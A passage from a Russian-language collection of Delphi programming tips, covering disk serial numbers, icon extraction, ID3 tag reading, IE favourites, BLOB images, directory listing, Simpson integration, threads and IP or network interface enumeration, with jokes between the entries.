          bDriveHeadReg := $A0;
          bCommandReg := IDE_ID_FUNCTION;
        end;
      end;
      if not DeviceIoControl(hDevice, IOCTL_SCSI_MINIPORT, @Buffer,
        BufferSize, @Buffer, BufferSize, cbBytesReturned, nil) then
        Exit;
    finally
      CloseHandle(hDevice);
    end;
  end
  else
  begin // Windows 95 OSR2, Windows 98
    hDevice := CreateFile('\\.\SMARTVSD', 0, 0, nil, CREATE_NEW, 0, 0);
    if hDevice = INVALID_HANDLE_VALUE then
      Exit;
    try
      pInData := PSendCmdInParams(@Buffer);
      pOutData := PChar(@pInData^.bBuffer);
      with pInData^ do
      begin
        cBufferSize := IDENTIFY_BUFFER_SIZE;
        bDriveNumber := 0;
        with irDriveRegs do
        begin
          bFeaturesReg := 0;
          bSectorCountReg := 1;
          bSectorNumberReg := 1;
          bCylLowReg := 0;
          bCylHighReg := 0;
          bDriveHeadReg := $A0;
          bCommandReg := IDE_ID_FUNCTION;
        end;
      end;
      if not DeviceIoControl(hDevice, DFP_RECEIVE_DRIVE_DATA, pInData,
        SizeOf(TSendCmdInParams) - 1, pOutData, W9xBufferSize,
        cbBytesReturned, nil) then
        Exit;
    finally
      CloseHandle(hDevice);
    end;
  end;
  with PIdSector(PChar(pOutData) + 16)^ do
  begin
    ChangeByteOrder(sSerialNumber, SizeOf(sSerialNumber));
    SetString(Result, sSerialNumber, SizeOf(sSerialNumber));
  end;
end;

Пример использования:

var
  s: string;
  rc: DWORD;
begin
  s := GetIdeDiskSerialNumber;
  if s = '' then
  begin
    rc := GetLastError;
    if rc = 0 then
      WriteLn('IDE drive is not support SMART feature')
    else
      WriteLn(SysErrorMessage(rc));
  end
  else
    WriteLn('Disk serial number: ''', s, '''');
end.

Получить серийный номер диска.

Куплю винчестер. Жёсткие диски не предлагать.
function GetHardDiskSerial(const DriveLetter: Char): string; 
var 
  NotUsed:     DWORD; 
  VolumeFlags: DWORD; 
  VolumeInfo:  array[0..MAX_PATH] of Char; 
  VolumeSerialNumber: DWORD; 
begin 
  GetVolumeInformation(PChar(DriveLetter + ':\'), 
    nil, SizeOf(VolumeInfo), @VolumeSerialNumber, NotUsed, 
    VolumeFlags, nil, 0); 
  Result := Format('Label = %s   VolSer = %8.8X', 
    [VolumeInfo, VolumeSerialNumber]) 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  ShowMessage(GetHardDiskSerial('c')); 
end;

Получить серийный номер диска 2.

procedure TForm1.Button1Click(Sender: TObject);
var
  VolumeName,
    FileSystemName: array[0..MAX_PATH - 1] of Char;
  VolumeSerialNo: DWord;
  MaxComponentLength,
    FileSystemFlags: Integer;
begin
  GetVolumeInformation('C:\', VolumeName, MAX_PATH, @VolumeSerialNo,
    MaxComponentLength, FileSystemFlags,
    FileSystemName, MAX_PATH);
  Memo1.Lines.Add('VName = ' + VolumeName);
  Memo1.Lines.Add('SerialNo = $' + IntToHex(VolumeSerialNo, 8));
  Memo1.Lines.Add('CompLen = ' + IntToStr(MaxComponentLength));
  Memo1.Lines.Add('Flags = $' + IntToHex(FileSystemFlags, 4));
  Memo1.Lines.Add('FSName = ' + FileSystemName);
end;

Как получить полный исходник HTML.

Автор: Ron Loewy
Насколько проще была бы жизнь, если бы она была в исходниках.

В IE5, можно получить исходник используя свойство outerHTML тэгов HTML. В IE4 или IE3, Вам понадобится записать документ в файл, а затем загрузить файл в TMemo, TStrings, и т.д.

var
  HTMLDocument: IHTMLDocument2;
  PersistFile: IPersistFile;
begin
  ...
  HTMLDocument := WebBrowser1.Document as IHTMLDocument2;
  PersistFile := HTMLDocument as IPersistFile;
  PersistFile.Save(StringToOleStr('test.htm'), True);
  while HTMLDocument.readyState <> 'complete' do
    Application.ProcessMessages;
 ...
end;

Обратите внимание: Вам понадобится импортировать библиотеку MSHTML и добавить MSHTML_TLB как ActiveX, в секцию Uses.

Получение иконки из ICO, EXE, DLL.

Статьи по Delphi (008)…
Богоматерь.ico

Процесс получения иконок из .EXE, .DLL или .ICO файлов полностью идентичен. Различие только в том, что в .ICO файле может храниться только одна иконка, а в .EXE и .DLL несколько. Для получения иконок из файлов, в модуле ShellAPI, есть функция:

function ExtractIcon(Inst: THandle; FileName: PChar; IconIndex: Word): HIcon;

Где.

Inst указатель на приложение вызвавшее функцию, FileName имя файла из которого необходимо получить иконку, IconIndex номер необходимой иконки.

Если функция возвращает значение не равное нулю, то в файле есть следующая иконка.

В данном примере в компонент Image1 выводится иконка запущенного файла.

uses ShellAPI;
...
procedure TForm1.FormCreate(Sender: TObject);
var
  A: array [0..78] of Char;
begin
  {Получение имени запущенного файла}
  StrPCopy(A, ParamStr(0));
  {Вывод на экран нулевой иконки из файла}
  Image1.Picture.Icon.Handle := ExtractIcon(HInstance, A, 0);
end;

Если вы хотите создать некий браузер по иконкам, то можете воспользоваться компонентами с закладки Win3.1. Вынесите на форму компонент TFileListBox; затем TDirectoryListBox, в свойстве FileList укажите на список файлов [TFileListBox]; после этого возьмите компонент класса TDriveComboBox, указав в его свойстве DirList на список каталогов [TDirectoryListBox], ну, и, наконец, ставьте TFilterComboBox, который позволит в списке файлов отображать только те файлы, которые соответствуют маске, указанной в свойстве Filter. Здесь в качестве значения укажите следующее: ico|*.ico|dll|*.dll|exe|*.exe|all|*.ico; *.dll; *.exe ..а в свойстве FileList задайте список файлов [TFileListBox]. В обработчике OnClick компонента TFileListBox напишите такой код:

var
  A: array [0..78] of Char;
begin
  {Получение имени файла, указанного в списке файлов}
  StrPCopy(A, FileListBox1.FileName);
  {Вывод на экран нулевой иконки из файла}
  Image1.Picture.Icon.Handle := ExtractIcon(HInstance, A, 0);

Получение иконки из ICO, EXE, DLL 2.

Сначала в разделе interface пишем такой код:

type ThIconArray = array[0..0] of hIcon;
type PhIconArray = ^ThIconArray;
function ExtractIconExA(lpszFile: PAnsiChar;
  nIconIndex: Integer;
  phiconLarge : PhIconArray;
  phiconSmall: PhIconArray;
  nIcons: UINT): UINT; stdcall;
  external 'shell32.dll' name 'ExtractIconExA';
function ExtractIconExW(lpszFile: PWideChar;
  nIconIndex: Integer;
  phiconLarge: PhIconArray;
  phiconSmall: PhIconArray;
  nIcons: UINT): UINT; stdcall;
  external 'shell32.dll' name 'ExtractIconExW';
function ExtractIconEx(lpszFile: PAnsiChar;
  nIconIndex: Integer;
  phiconLarge : PhIconArray;
  phiconSmall: PhIconArray;
  nIcons: UINT): UINT; stdcall;
  external 'shell32.dll' name 'ExtractIconExA';

Затем по нажатию на кнопку:

procedure TForm1.Button1Click(Sender: TObject);
var
  NumIcons: integer;
  pTheLargeIcons: phIconArray;
  pTheSmallIcons: phIconArray;
  LargeIconWidth: integer;
  SmallIconWidth: integer;
  SmallIconHeight: integer;
  i: integer;
  TheIcon: TIcon;
  TheBitmap: TBitmap;
begin
  NumIcons :=
  ExtractIconEx('C:\Program Files\Borland\Delphi 3\BIN\delphi32.exe',
    -1, nil, nil, 0);
  if NumIcons > 0 then
  begin
    LargeIconWidth := GetSystemMetrics(SM_CXICON);
    SmallIconWidth := GetSystemMetrics(SM_CXSMICON);
    SmallIconHeight := GetSystemMetrics(SM_CYSMICON);
    GetMem(pTheLargeIcons, NumIcons * sizeof(hIcon));
    GetMem(pTheSmallIcons, NumIcons * sizeof(hIcon));
    FillChar(pTheLargeIcons^, NumIcons * sizeof(hIcon), #0);
    FillChar(pTheSmallIcons^, NumIcons * sizeof(hIcon), #0);
    ExtractIconEx('C:\Program Files\Borland\Delphi 3\BIN\delphi32.exe',
      0, pTheLargeIcons, pTheSmallIcons, numIcons);
    {$IFOPT R+}
    {$DEFINE CKRANGE}
    {$R-}
    {$ENDIF}
    for i := 0 to (NumIcons - 1) do
    begin
      DrawIcon(Form1.Canvas.Handle, i * LargeIconWidth, 0, pTheLargeIcons^[i]);
      TheIcon := TIcon. Create;
      TheBitmap := TBitmap.Create;
      TheIcon.Handle := pTheSmallIcons^[i];
      TheBitmap.Width := TheIcon.Width;
      TheBitmap.Height := TheIcon.Height;
      TheBitmap.Canvas.Draw(0, 0, TheIcon);
      TheIcon.Free;
      Form1.Canvas.StretchDraw(Rect(i * SmallIconWidth,
        100, (i + 1) * SmallIconWidth, 100 + SmallIconHeight), TheBitmap);
      TheBitmap.Free;
    end;
    {$IFDEF CKRANGE}
    {$UNDEF CKRANGE}
    {$R+}
    {$ENDIF}
    FreeMem(pTheLargeIcons, NumIcons * sizeof(hIcon));
    FreeMem(pTheSmallIcons, NumIcons * sizeof(hIcon));
  end;
end;

Получение уникального номера, под которым можно вставить запись в таблицу.

Автор: Андрей Марин WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение уникального номера, под которым можно вставить запись в таблицу
Эта функция может быть использована только для тех таблиц,
у которых первое поле - уникальное и ключевое, и при этом
больше ключевых полей нет. Первое поле может иметь как целый тип,
так и вещественный, но содержать только целые значения.
Вместо этой функции можно было бы использовать значение
Table.RecordCount если бы не было необходимости удалять
записи из таблицы. При удалении записи из таблицы возрастание
номеров идёт с разрывами. В принципе, эта проблема может быть
решена и возвращением номера, на единицу боьше последнего,
однако такой вариант плох для таблиц с количеством записей,
сопоставимым с максимальным значением переменной типа Cardinal
и/или для таблиц, с которыми часто совершаются операции
добавления и удаления записей. Предполагается, что первое
значение - 0, второе - 1 и т.д.
Зависимости: DBTables
Автор:       Андрей Марин, andrei_marin@mail.ru, Москва
Copyright:   Собственное написание Андрея Марина
Дата:        27 сентября 2002 г.
***************************************************** }
function GetId(Tab: TTable): Cardinal;
var
  i: Integer; // предполагается, что первое поле - целое, ключевое и при этом
  s: string; // больше ключевых полей в этой таблице нет
begin
  if Tab.RecordCount = 0 then
  begin
    Result := 0;
    Exit
  end;
  s := Tab.IndexFieldNames; // сохранение индекса
  Tab.IndexFieldNames := Tab.Fields[0].DisplayName;
  // установка первого поля в качестве индексного
  Tab.Last;
  if Tab.Fields[0].AsInteger = Tab.RecordCount - 1 then
  begin // если числовой ряд полон
    Result := Tab.RecordCount;
    Tab.IndexFieldNames := s;
    Exit
  end;
  Tab.First; // в противном случае поиск "дырки"
  i := Tab.Fields[0].AsInteger;
  if i > 0 then
    Result := 0 // если ряд начинается не с нуля, то результат - ноль
  else
    repeat // собственно поиск
      i := Tab.Fields[0].AsInteger;
      Tab.Next;
      Result := i + 1;
      if Tab.Fields[0].AsInteger > i + 1 then
        Break
    until Tab.Eof;
  Tab.IndexFieldNames := s
end;

Пример использования:

Table2.AppendRecord([GetId(Table2), i + 1, BaloonAreas.Pages[i].Tag, p.fi, p.l,
  q.fi, q.l, Radius1.Value, R2, R3, BalBeginAngle.Value, BalEndAngle.Value,
  BalSectorGroup.ItemIndex, p1.fi, p1.l, q1.fi, q1.l]);

Получаем ID3Tag v1.

Статьи по Delphi (008)…

{ 
  Byte 1-3 = ID 'TAG' 
  Byte 4-33 = Titel / Title 
  Byte 34-63 = Artist 
  Byte 64-93 = Album 
  Byte 94-97 = Jahr / Year 
  Byte 98-127 = Kommentar / Comment 
  Byte 128 = Genre 
} 
type 
  TID3Tag = record 
    ID: string[3]; 
    Titel: string[30]; 
    Artist: string[30]; 
    Album: string[30]; 
    Year: string[4]; 
    Comment: string[30]; 
    Genre: Byte; 
  end; 
const 
 Genres : array[0..146] of string = 
    ('Blues','Classic Rock','Country','Dance','Disco','Funk','Grunge', 
    'Hip- Hop','Jazz','Metal','New Age','Oldies','Other','Pop','R&B', 
    'Rap','Reggae','Rock','Techno','Industrial','Alternative','Ska', 
    'Death Metal','Pranks','Soundtrack','Euro-Techno','Ambient', 
    'Trip-Hop','Vocal','Jazz+Funk','Fusion','Trance','Classical', 
    'Instrumental','Acid','House','Game','Sound Clip','Gospel','Noise', 
    'Alternative Rock','Bass','Punk','Space','Meditative','Instrumental Pop', 
    'Instrumental Rock','Ethnic','Gothic','Darkwave','Techno-Industrial','Electronic', 
    'Pop-Folk','Eurodance','Dream','Southern Rock','Comedy','Cult','Gangsta', 
    'Top 40','Christian Rap','Pop/Funk','Jungle','Native US','Cabaret','New Wave', 
    'Psychadelic','Rave','Showtunes','Trailer','Lo-Fi','Tribal','Acid Punk', 
    'Acid Jazz','Polka','Retro','Musical','Rock & Roll','Hard Rock','Folk', 
    'Folk-Rock','National Folk','Swing','Fast Fusion','Bebob','Latin','Revival', 
    'Celtic','Bluegrass','Avantgarde','Gothic Rock','Progressive Rock', 
    'Psychedelic Rock','Symphonic Rock','Slow Rock','Big Band','Chorus', 
    'Easy Listening','Acoustic','Humour','Speech','Chanson','Opera', 
    'Chamber Music','Sonata','Symphony','Booty Bass','Primus','Porn Groove', 
    'Satire','Slow Jam','Club','Tango','Samba','Folklore','Ballad', 
    'Power Ballad','Rhytmic Soul','Freestyle','Duet','Punk Rock','Drum Solo', 
    'Acapella','Euro-House','Dance Hall','Goa','Drum & Bass','Club-House', 
    'Hardcore','Terror','Indie','BritPop','Negerpunk','Polsk Punk','Beat', 
    'Christian Gangsta','Heavy Metal','Black Metal','Crossover','Contemporary C', 
    'Christian Rock','Merengue','Salsa','Thrash Metal','Anime','JPop','SynthPop'); 
var 
  Form1: TForm1; 
implementation 
{$R *.dfm} 
function readID3Tag(FileName: string): TID3Tag; 
var 
  FS: TFileStream; 
  Buffer: array [1..128] of Char; 
begin 
  FS := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite); 
  try 
    FS.Seek(-128, soFromEnd); 
    FS.Read(Buffer, 128); 
    with Result do 
    begin 
      ID      := Copy(Buffer, 1, 3); 
      Titel   := Copy(Buffer, 4, 30); 
      Artist  := Copy(Buffer, 34, 30); 
      Album   := Copy(Buffer, 64, 30); 
      Year    := Copy(Buffer, 94, 4); 
      Comment := Copy(Buffer, 98, 30); 
      Genre   := Ord(Buffer[128]); 
    end; 
  finally 
    FS.Free; 
  end; 
end; 
procedure TfrmMain.Button1Click(Sender: TObject); 
begin 
  if OpenDialog1.Execute then 
  begin 
    with readID3Tag(OpenDialog1.FileName) do 
    begin 
      LlbID.Caption := 'ID: ' + ID; 
      LlbTitel.Caption := 'Titel: ' + Titel; 
      LlbArtist.Caption := 'Artist: ' + Artist; 
      LlbAlbum.Caption := 'Album: ' + Album; 
      LlbYear.Caption := 'Year: ' + Year; 
      LlbComment.Caption := 'Comment: ' + Comment; 
      if (Genre >= 0) and (Genre <=146) then 
       LlbGenre.Caption := 'Genre: ' + Genres[Genre] 
      else 
       LlbGenre.Caption := 'N/A'; 
    end; 
  end; 
end;

Как получить закладки IE.

Статьи по Delphi (008)…
Встречаются два ярых интернетчика... Один - другому: - Слуууухай... Вчера на Мясницкой таакууую деевушку встретил... Познакомится не успел... :о( Гдееее её теперь искать.... Тот ему: - Не, ну ты чё, её букмаркой не заложил, что ль???
function GetIEFavourites(const favpath: string): TStrings;
var
  searchrec: TSearchrec;
  str: TStrings;
  path, dir, filename: string;
  Buffer: array [0..2047] of Char;
  found: Integer;
begin
  str := TStringList.Create;
  //Get all file names in the favourites path
  path := FavPath + '\*.url';
  dir := ExtractFilepath(path);
  found := FindFirst(path, faAnyFile, searchrec);
  while found = 0 do
  begin
    //Get now URLs from files in variable files
    SetString(filename, Buffer, GetPrivateProfileString('InternetShortcut',
      PChar('URL'), nil, Buffer, SizeOf(Buffer), PChar(dir+searchrec.name)));
    str.Add(filename);
    found := FindNext(searchrec);
  end;
  //unterordner finden
  found := FindFirst(dir + '\*.*', faAnyFile, searchrec);
  while found=0 do
  begin
    if ((searchrec.Attr and faDirectory) > 0) and (searchrec.name[1] <> '.') then
      str.AddStrings(GetIEFavourites(dir + '\' + searchrec.name));
    found := FindNext(searchrec);
  end;
  FindClose(searchrec);
  Result := str;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  pidl: PItemIDList;
  FavPath: array [0..MAX_PATH] of char;
begin
  SHGetSpecialFolderLocation(Handle, CSIDL_FAVORITES, pidl);
  SHGetPathFromIDList(pidl, favpath);
  ListBox1.Items := GetIEFavourites(StrPas(FavPath));
end;

Извлечение изображения из BLOB-поля.

- Почему программеры, сисопы и прочий компьютерный люд, всё время пьют пиво или ещё чего покрепче? - А вы пробовали смотреть на работу чайника за компьютером на трезвую голову?
Извлечение изображения из BLOB-поля таблицы dBASE или Paradox -- без первой записи изображения в файл -- простейший процесс использования метода Assign для сохранения содержимого BLOB-поля в объекте, имеющим тип TBitmap. Отдельный объект TBitmap или свойство Bitmap объекта Picture, в свою очередь являющегося свойством компонента TIMage, могут служить примером совместимой цели для данной операции.

Вот пример кода, демонстрирующего использование метода Assign для копирования изображения из BLOB-поля в компонент TImage.

procedure TForm1.Button1Click(Sender: TObject);
begin
  Image1.Picture.Bitmap.Assign(Table1Bitmap);
end;

В данном примере, объект Table1Bitmap типа TBLOBField - BLOB-поле таблицы dBASE. Данный TBLOBField-объекты был создан с помощью редактора полей (Fields Editor). Если редактор полей для создания TFields для полей таблицы не используется, получить доступ к полям можно с помощью метода FieldByName или свойства Fields, оба они являются членами компонентов TTable или TQuery. В случае ссылки на BLOB-поле таблицы с помощью одного из приведенных членов, перед использованием метода Assign указатель на поле должен быть прежде приведен к типу объекта TBLOBField. Для примера:

procedure TForm1.Button1Click(Sender: TObject);
begin
  Image1.Picture.Bitmap.Assign(TBLOBField(Table1.Fields[1]));
end;

Изображение, хранящееся в BLOB-поле, может быть скопировано непосредственно в отдельный TBitmap объект. Ниже приведен пример, демонстрирующий создание объекта TBitmap и сохранения в нем изображения из BLOB-поля.

procedure TForm1.Button2Click(Sender: TObject);
var
  B: TBitmap;
begin
  B := TBitmap.Create;
  try
    B.Assign(Table1Bitmap);
    Image1.Picture.Bitmap.Assign(B);
  finally
    B.Free;
  end;
end;

Получить картинки из MessageDlg.

Статьи по Delphi (008)…
procedure TForm1.Button1Click(Sender: TObject);
var
  Ic: TIcon;
begin
  Ic := TIcon.Create;
  Ic.Handle := LoadIcon(0, IDI_APPLICATION);
  Form1.Canvas.Draw(1, 1, Ic);
  Ic.Handle := LoadIcon(0, IDI_ASTERISK);
  Form1.Canvas.Draw(32, 1, Ic);
  Ic.Handle := LoadIcon(0, IDI_EXCLAMATION);
  Form1.Canvas.Draw(64, 1, Ic);
  Ic.Handle := LoadIcon(0, IDI_QUESTION);
  Form1.Canvas.Draw(1, 32, Ic);
  Ic.Handle := LoadIcon(0, IDI_HAND);
  Form1.Canvas.Draw(32, 32, Ic);
  Ic.Handle := LoadIcon(0, IDI_WINLOGO);
  Form1.Canvas.Draw(64, 32, Ic);
  Ic.Destroy;
end;

Захват части изображения.

Автор: Mike Scott

Вот пример кода, позволящего с помощью TBitmap захватить часть изображения и сохранить его в файле. Я включил функцию копирования палитры, необходимой при работе в режиме 256 цветов.

function CopyPalette(Palette: HPalette): HPalette;
var
  nEntries: integer;
  LogPalSize: integer;
  LogPalette: PLogPalette;
begin
  Result := 0;
  if Palette = 0 then
    exit;
  GetObject(Palette, sizeof(nEntries), @nEntries);
  if nEntries < 1 then
    exit;
  LogPalSize := sizeof(TLogPalette) + sizeof(TPaletteEntry) * (nEntries - 1);
  GetMem(LogPalette, LogPalSize);
  with LogPalette^ do
  try
    palVersion := $300;
    palNumEntries := nEntries;
    GetPaletteEntries(Palette, 0, nEntries, palPalEntry[0]);
    Result := CreatePalette(LogPalette^);
  finally
    FreeMem(LogPalette, LogPalSize);
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  Bitmap: TBitmap;
begin
  Bitmap := TBitmap.Create;
  try
    Bitmap.Width := 50;
    Bitmap.Height := 40;
    Bitmap.Palette := CopyPalette(Image1.Picture.Bitmap.Palette);
    Bitmap.Canvas.CopyRect(Rect(0, 0, 50, 40),
      Image1.Picture.Bitmap.Canvas,
      Bounds(20, 10, 50, 40));
    Bitmap.SaveToFile('c:\windows\temp\junk.bmp');
  finally
    Bitmap.Free;
  end;
end;

Получение списка вложенных каталогов.

Автор: Samsonov Aleksandr WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка вложенных каталогов
Процедура служит ля получения списка каталогов вложенных в указанный каталог.
Полезно ее использовать для построения дерева каталогов.
Полученные в OutPaper данные можно передать процедуре
Радионова Алексейя которая по ним построит дерево.
Зависимости: sysutils, classes, StdCtrls, UDBF.FillTreeViewWithFiles
Автор:       Samsonov Aleksandr, s002156@mail.ru, Tver
Copyright:   s002156Shurik
Дата:        19 сентября 2002 г.
***************************************************** }
procedure GetTreeDirs(Root: string; OutPaper: TStringList);
var
  i: Integer;
  s: string;
  procedure InsDirs(s: string; ind: Integer; Path: string; OPaper: TStringList);
  var {Вставляет в Memo список вложенных директорий}
    sr: TSearchRec;
    attr: Integer;
  begin
    attr := 0;
    attr := faAnyFile;
    if DirectoryExists(Path) then
      if FindFirst(IncludeTrailingBackslash(Path) + '*.*', attr, SR) = 0 then
      begin
        repeat
          if (sr.Attr = faDirectory) and (sr.Name[Length(sr.Name)] <> '.') then
            OPaper.Insert(ind, s + sr.Name);
        until (FindNext(sr) <> 0);
        FindClose(SR);
      end
  end;
begin
  {Проверяем существуетли начальный каталог}
  if not DirectoryExists(Root) then
    exit;
  {Создаем список каталогов первой вложенности}
  if root[Length(Root)] <> '\' then
    InsDirs(root + '\', OutPaper.Count, Root, OutPaper)
  else
    InsDirs(root, OutPaper.Count, Root, OutPaper);
  i := 0;
  repeat
    s := OutPaper[i]; //в s получаем путь к уже внесенному в список кат.
    // Вставляем сразу за данной директорией в списке,
    // список вложенных в нее директорий.
    // Тем самым увеличиваем OutPaper.Lines.Count.
    // Таким образом катологи в которых поиск еще не производился,
    // оказываются ниже и очереь до них еще дойдет.
    InsDirs(s + '\', i + 1, OutPaper[i], OutPaper);
    inc(i);
  until (i = OutPaper.Count);
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  Strs: TStringList;
begin
  Strs := TStringList.Create;
  try
    GetTreeDirs('C:\', Strs);
    FillTreeViewWithFiles(TreeView1, Strs);
  finally
    Strs.Free;
  end;
end;

Получить тип интернет соединения.

Афоризм дня: Возвращается муж домой из Интернета...
uses 
  WinInet; 
const 
  MODEM = 1; 
  LAN = 2; 
  PROXY = 4; 
  BUSY = 8; 
function GetConnectionKind(var strKind: string): Boolean; 
var 
  flags: DWORD; 
begin 
  strKind := ''; 
  Result := InternetGetConnectedState(@flags, 0); 
  if Result then 
  begin 
    if (flags and MODEM) = MODEM then strKind := 'Modem'; 
    if (flags and LAN) = LAN then strKind := 'LAN'; 
    if (flags and PROXY) = PROXY then strKind := 'Proxy'; 
    if (flags and BUSY) = BUSY then strKind := 'Modem Busy'; 
  end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
var 
  strKind: string; 
begin 
  if GetConnectionKind(strKind) then 
    ShowMessage(strKind); 
end;

Как при создании объекта TThread передать ему некоторое значение.

Антивирус для Windows - я выбираю безопасный секс!

К примеру, функция "прослушивает" каталог на предмет файлов. Если находит, то создает нить, которая будет обрабатывать файл. Потомку надо передать имя файла, а вот как?

Странный вопрос. Я бы понял, если бы требовалось передавать данные во время работы нити. А так обычно поступают следующим образом.

В объект нити, происходящий от TThread дописывают поля. Как правило, в секцию PRIVATE. Затем переопределяют конструктор CREATE, который, принимая необходимые параметры заполняет соответствующие поля. А уже в методе EXECUTE легко можно пользоваться данными, переданными ей при его создании.

TYourThread = class(TTHread)
  private
    FFileName: string;
  protected
    procedure Execute; overrided;
  public
    constructor Create(CreateSuspennded: Boolean; const AFileName: string);
end;
...
constructor TYourThread.Create(CreateSuspennded: Boolean;
            const AFileName: string);
begin
  inherited Create(CreateSuspennded);
  FFIleName := AFileName;
end;
procedure TYourThread.Execute;
begin
  try
    ...
    if FFileName = ...
    ...
  except
    ...
  end;
end;
...
TYourForm = class(TForm)
...
private
  YourThread: TYourThread;
  procedure LaunchYourThread(const AFileName: string);
  procedure YourTreadTerminate(Sender: TObject);
  ...
end;
...
procedure TYourForm.LaunchYourThread(
          const AFileName: string);
begin
  YourThread := TYourThread.Create(True, AFileName);
  YourThread.Onterminate := YourTreadTerminate;
  YourThread.Resume
end;
...
procedure TYourForm.YourTreadTerminate(Sender: TObject);
begin
  ...
end;
...
end.

Взятие интеграла методом Симпсона.

Автор: Mystic WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Взятие интеграла методом Симпсона
Интеграл методом Симпсона
A, B - интервал интегрирования
N - число точек на интервале
Func - функция, от которой берется интеграл.
Возвращаемое значение - значение интеграла
Зависимости: System
Автор:       Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright:   Mystic
Дата:        25 апреля 2002 г.
***************************************************** }
type
  TFunction = function(X: Extended; Arg: Pointer): Extended;
function Simpson(A, B: Extended; N: Cardinal; Func: TFunction; Arg: Pointer):
  Extended;
var
  h: Extended;
  X: Extended;
  K: Extended;
  I: Integer;
begin
  Assert(N > 0);
  h := 0.5 * (B - A) / N;
  Result := Func(A, Arg);
  X := A + h;
  for I := 1 to 2 * N - 1 do
  begin
    if I mod 2 = 0 then
      K := 2
    else
      K := 4;
    Result := Result + K * Func(X, Arg);
    X := X + h;
  end;
  Result := Result + Func(B, Arg);
  Result := h * Result / 3;
end;

Получить информацию о целых типах.

Автор: Xavier Pacheco

unit MainFrm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TMainForm = class(TForm)
    lbSamps: TListBox;
    memInfo: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure lbSampsClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  MainForm: TMainForm;
implementation
uses TypInfo;
{$R *.DFM}
procedure TMainForm.FormCreate(Sender: TObject);
begin
  with lbSamps.Items do
  begin
    AddObject('Word', TypeInfo(Word));
    AddObject('Integer', TypeInfo(Integer));
    AddObject('Byte', TypeInfo(Byte));
  end;
end;
procedure TMainForm.lbSampsClick(Sender: TObject);
var
  OrdTypeInfo: PTypeInfo;
  OrdTypeData: PTypeData;
  TypeNameStr: string;
  TypeKindStr: string;
  MinVal, MaxVal: Integer;
begin
  memInfo.Lines.Clear;
  with lbSamps do
  begin
    // Get the TTypeInfo pointer
    OrdTypeInfo := PTypeInfo(Items.Objects[ItemIndex]);
    // Get the TTypeData pointer
    OrdTypeData := GetTypeData(OrdTypeInfo);
    // Get the type name string
    TypeNameStr := OrdTypeInfo.Name;
    // Get the type kind string
    TypeKindStr := GetEnumName(TypeInfo(TTypeKind), Integer(OrdTypeInfo^.Kind));
    // Get the minimum and maximum values for the type
    MinVal := OrdTypeData^.MinValue;
    MaxVal := OrdTypeData^.MaxValue;
    // Add the information to the memo
    with memInfo.Lines do
    begin
      Add('Type Name: ' + TypeNameStr);
      Add('Type Kind: ' + TypeKindStr);
      Add('Min Val: ' + IntToStr(MinVal));
      Add('Max Val: ' + IntToStr(MaxVal));
    end;
  end;
end;
end.

Получение IP-адреса.

Оформил: DeeCo

Автор: CyANiD.

От автора: IP можно получить, заUSЕ'ав компонент TClientSocket или TServerSocket, но это значительно утяжелит ваш Ехе'шник. Я предлагаю другой, более рациональный способ.

Host: TLabel;
IPaddr: TLabel;
...
uses Winsock;
...
procedure TForm1.FormCreate(Sender: TObject);
var
  wVerReq: WORD;
  wsaData: TWSAData;
  i: pchar;
  h: PHostEnt;
  c: array[0..128] of char;
begin
  wVerReq := MAKEWORD(1, 1);
  WSAStartup(wVerReq, wsaData);
  {Получаем хост (имя) компа}
  GetHostName(@c, 128);
  h := GetHostByName(@c);
  Host.Caption := h^.h_Name; //Host отображает хост(имя) компьютера
  {Достаем IP}
  i := iNet_ntoa(PInAddr(h^.h_addr_list^)^);
  IPaddr.Caption := i; //Теперь IPaddr отображает IP-адрес
  WSACleanup;
end;
Если какие баги лезут, присылайте ваш проект (без Exe) нам с описанием вашей системы, Delphi и конфигурации. Может у вас вообще баги с Windows Sockets.

Получение IP-адреса и маски для всех сетевых интерфейсов.

Автор: Giannis Sampaziotis
Приходит девушка к программисту в гости, а тот: - Чай, кофе, Интернет?

Существует множество методов получения IP адреса компьютера. Но данный пример представляет наиболее корректный способ получения всех адресов, сетевых масок, broadcast адресов и статусов для всех интерфейсов включая циклический 127.0.0.1 - требует WinSock 2.

Это завершённый Delphi компонент. Для его использования достаточно вызвать:

EnumInterfaces(var s string): Boolean;

Которая вернёт строку, разделённую CRLF и содержащую всё, нужную нам информацию.

unit USock;
interface
uses
  Windows, Winsock;
{
Если Вы поместите строку результатов в wide TMEMO
(в его свойство memo.lines.text)
то никаких результатов не увидите.
Тестировалось на Win98/ME/2K, 95 OSR 2 и NT service
pack #3 , потому что используется WinSock 2 (WS2_32.DLL)
}
function EnumInterfaces(var sInt: string): Boolean;
{ функция WSAIOCtl импортируется из Winsock 2.0 - Winsock 2 доступен }
{ только в Win98/ME/2K и 95 OSR2, NT srv pack #3 }
function WSAIoctl(s: TSocket; cmd: DWORD; lpInBuffer: PCHAR; dwInBufferLen:
  DWORD;
  lpOutBuffer: PCHAR; dwOutBufferLen: DWORD;
  lpdwOutBytesReturned: LPDWORD;
  lpOverLapped: POINTER;
  lpOverLappedRoutine: POINTER): Integer; stdcall; external 'WS2_32.DLL';
{ Константы взятые из заголовка C файлов }
const
  SIO_GET_INTERFACE_LIST = $4004747F;
  IFF_UP = $00000001;
  IFF_BROADCAST = $00000002;
  IFF_LOOPBACK = $00000004;
  IFF_POINTTOPOINT = $00000008;
  IFF_MULTICAST = $00000010;
type sockaddr_gen = packed record
  AddressIn: sockaddr_in;
  filler: packed array [0..7] of char;
end;
type INTERFACE_INFO = packed record
  iiFlags: u_long; // Флаги интерфейса
  iiAddress: sockaddr_gen; // Адрес интерфейса
  iiBroadcastAddress: sockaddr_gen; // Broadcast адрес
